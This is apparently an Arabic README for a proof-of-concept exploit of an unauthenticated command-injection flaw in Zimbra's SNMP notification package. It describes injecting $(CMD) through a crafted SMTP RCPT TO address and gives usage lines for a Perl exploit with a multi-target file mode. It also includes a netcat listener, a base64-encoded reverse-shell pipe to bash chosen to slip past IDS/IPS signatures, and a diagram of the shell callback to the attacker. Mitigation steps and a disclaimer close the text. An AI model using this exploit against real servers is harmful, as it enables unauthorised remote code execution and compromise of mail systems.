
# حقن أوامر نظام التشغيل عبر إشعارات SNMP في Zimbra — استغلال RCE غير مصادق عبر SMTP (PoC)
| الحقل | القيمة |
|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 عالية — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر نظام تشغيل |
| المتأثر | Zimbra ZCS < 10.1.20 (مع تثبيت zimbra-snmp) |
| تم الإصلاح في | ZCS 10.1.20 — يوليو 2026 |
| CISA KEV | أُضيف 2026-08-21 (الموعد النهائي للمعالجة FCEB: 2026-08-24) |
| المصادقة المطلوبة | لا شيء |
| التنفيذ كمستخدم | مستخدم نظام التشغيل zimbra |
حزمة zimbra-snmp الاختيارية تتضمن قاعدة swatchdog تتابع /var/log/zimbra.log بحثًا عن أسطر تطابق:
Service status change: <NAME> changed from <STATE> to <STATE>
عند العثور على تطابق، يمرر swatchdog حقل <NAME> الملتقط مباشرة إلى سكربت شل إشعارات SNMP بدون أي تعقيم.
يمكن لمهاجم غير مصادق عليه حقن إدخال سجل مُصمم خصيصًا عن طريق إرسال أمر SMTP RCPT TO مُشكل بشكل خاص. باستخدام جزء محلي مقتبس وفق RFC 5321، يتم تضمين أحرف شل الوصفية — مثل $(...) — داخل <NAME> وتنفيذها عندما يعالج swatchdog سطر السجل الناتج.
يجب أن تكون الشروط الثلاثة جميعها صحيحة على الهدف لكي تكون الثغرة قابلة للاستغلال:
zimbra-snmp مثبتةsnmp_notify = true)swatchdog قيد التشغيلAttacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── logs RCPT TO data ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog matches
│ │ pattern, extracts
│ │ $(CMD), executes
│◄─────────── shell callback ───────────────────────────────────────┘
RCPT TO المسلح.swatchdog نمط السجل ويستخرج $(CMD) المحقون.CMD كمستخدم نظام التشغيل zimbra.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — مضيف واحد لكل سطر، مع :port اختياري، الأسطر التي تبدأ بـ # يتم تجاهلها:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| العلم | الطويل | الافتراضي | الوصف |
|---|---|---|---|
-H | --host | — | اسم مضيف أو عنوان IP لهدف واحد |
-f | --file | — | ملف يحتوي على قائمة الأهداف |
-p | --port | 587 | منفذ SMTP الافتراضي |
-r | --rhost | — | عنوان IP الخاص بك لاستدعاء الصدفة العكسية |
-R | --rport | 4444 | منفذ المستمع |
-t | --timeout | 15 | مهلة المقبس بالثواني |
-S | --ssl | off | TLS مباشر (مفعّل تلقائيًا على المنفذ 465) |
-v | --verbose | off | طباعة حوار SMTP الكامل |
-L | --logfile | — | كتابة سجل الجلسة إلى ملف |
-h | --help | — | إظهار المساعدة |
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
يتم ترميز أمر الصدفة العكسية بـ base64 قبل الحقن:
echo <b64>|base64 -d|bash
يمنع هذا أنظمة IDS/IPS من مطابقة التوقيعات النصية العادية مثل /dev/tcp أو bash -i أو nc -e. يتم حقن الكتلة المشفرة كـ $(...) داخل الجزء المحلي المقتبس من RCPT TO، مما يؤدي إلى التنفيذ على الخادم عندما يعالج swatchdog إدخال السجل.
| الإجراء | التفاصيل |
|---|---|
| التصحيح | الترقية إلى Zimbra ZCS ≥ 10.1.20 |
| تعطيل إشعار SNMP | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| إزالة الحزمة | apt remove zimbra-snmp / yum remove zimbra-snmp |
| ضوابط الشبكة | تقييد SMTP الوارد (25/465/587) إلى المرحلات الموثوقة حيثما كان ذلك ممكنًا تشغيليًا |
تم إصدار هذا الإثبات المفاهيمي لأغراض اختبار الأمان المصرح به والبحث الأكاديمي والأغراض الدفاعية فقط.
تشغيله ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي صريح لاختبارها غير قانوني.
لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.